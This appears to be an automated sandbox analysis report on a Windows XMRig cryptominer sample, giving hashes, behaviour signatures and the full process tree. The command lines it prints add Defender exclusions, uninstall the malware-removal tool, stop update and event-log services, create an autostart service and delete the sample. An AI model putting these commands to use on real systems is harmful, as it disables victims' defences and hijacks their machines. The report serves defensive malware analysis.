Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
19-12-2024 21:16
Static task
static1
Behavioral task
behavioral1
Sample
2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe
Resource
win7-20240729-en
General
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Target
2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe
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Size
5.6MB
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MD5
9da56c33078a3441730bc7168a3e59c0
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SHA1
3f72f7bac9d7e4c278ed398cbe9a7a2849b8af65
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SHA256
2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858
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SHA512
b587778508c640ba20a06222d4f2b243d521b363bcba61aaf62d432ddfb33e39fa7c3e46261a92fd8e1b0c984ff8752dc6e1a3f04bf4f2ec961b89738c4cd6d6
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2488-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2488-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2488-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2488-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2488-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2488-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2488-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2488-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2772 powershell.exe 2840 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1032 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 296 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2568 powercfg.exe 2084 powercfg.exe 2452 powercfg.exe 2128 powercfg.exe 1648 powercfg.exe 1792 powercfg.exe 1228 powercfg.exe 1572 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 296 set thread context of 2420 296 fqwofdtexigy.exe 85 PID 296 set thread context of 2488 296 fqwofdtexigy.exe 89 -
resource yara_rule behavioral1/memory/2488-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2488-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1716 sc.exe 1200 sc.exe 332 sc.exe 1520 sc.exe 1528 sc.exe 1020 sc.exe 2344 sc.exe 2644 sc.exe 900 sc.exe 2116 sc.exe 1564 sc.exe 2604 sc.exe 2696 sc.exe 2268 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0915c595b52db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2772 powershell.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 2264 2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe 296 fqwofdtexigy.exe 2840 powershell.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 296 fqwofdtexigy.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe 2488 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2772 powershell.exe Token: SeShutdownPrivilege 1228 powercfg.exe Token: SeShutdownPrivilege 1572 powercfg.exe Token: SeShutdownPrivilege 1792 powercfg.exe Token: SeShutdownPrivilege 2568 powercfg.exe Token: SeDebugPrivilege 2840 powershell.exe Token: SeShutdownPrivilege 1648 powercfg.exe Token: SeShutdownPrivilege 2452 powercfg.exe Token: SeShutdownPrivilege 2128 powercfg.exe Token: SeShutdownPrivilege 2084 powercfg.exe Token: SeLockMemoryPrivilege 2488 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2864 wrote to memory of 2756 2864 cmd.exe 38 PID 2864 wrote to memory of 2756 2864 cmd.exe 38 PID 2864 wrote to memory of 2756 2864 cmd.exe 38 PID 1032 wrote to memory of 292 1032 cmd.exe 63 PID 1032 wrote to memory of 292 1032 cmd.exe 63 PID 1032 wrote to memory of 292 1032 cmd.exe 63 PID 448 wrote to memory of 2932 448 cmd.exe 72 PID 448 wrote to memory of 2932 448 cmd.exe 72 PID 448 wrote to memory of 2932 448 cmd.exe 72 PID 296 wrote to memory of 2420 296 fqwofdtexigy.exe 85 PID 296 wrote to memory of 2420 296 fqwofdtexigy.exe 85 PID 296 wrote to memory of 2420 296 fqwofdtexigy.exe 85 PID 296 wrote to memory of 2420 296 fqwofdtexigy.exe 85 PID 296 wrote to memory of 2420 296 fqwofdtexigy.exe 85 PID 296 wrote to memory of 2420 296 fqwofdtexigy.exe 85 PID 296 wrote to memory of 2420 296 fqwofdtexigy.exe 85 PID 296 wrote to memory of 2420 296 fqwofdtexigy.exe 85 PID 296 wrote to memory of 2420 296 fqwofdtexigy.exe 85 PID 296 wrote to memory of 2488 296 fqwofdtexigy.exe 89 PID 296 wrote to memory of 2488 296 fqwofdtexigy.exe 89 PID 296 wrote to memory of 2488 296 fqwofdtexigy.exe 89 PID 296 wrote to memory of 2488 296 fqwofdtexigy.exe 89 PID 296 wrote to memory of 2488 296 fqwofdtexigy.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe"C:\Users\Admin\AppData\Local\Temp\2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2264 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2772
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2756
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1716
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2604
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2696
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2644
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2268
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1792
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1228
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1572
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2568
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:900
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2116
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1564
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:1520
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\2c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:292
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:296 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2840
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:448 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2932
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1020
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2344
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1200
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1528
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:332
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2084
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1648
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2452
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2128
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2420
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD59da56c33078a3441730bc7168a3e59c0
SHA13f72f7bac9d7e4c278ed398cbe9a7a2849b8af65
SHA2562c61f793fcc60b8e8593ed584a811a2400b1e520a211d22317138bea1330a858
SHA512b587778508c640ba20a06222d4f2b243d521b363bcba61aaf62d432ddfb33e39fa7c3e46261a92fd8e1b0c984ff8752dc6e1a3f04bf4f2ec961b89738c4cd6d6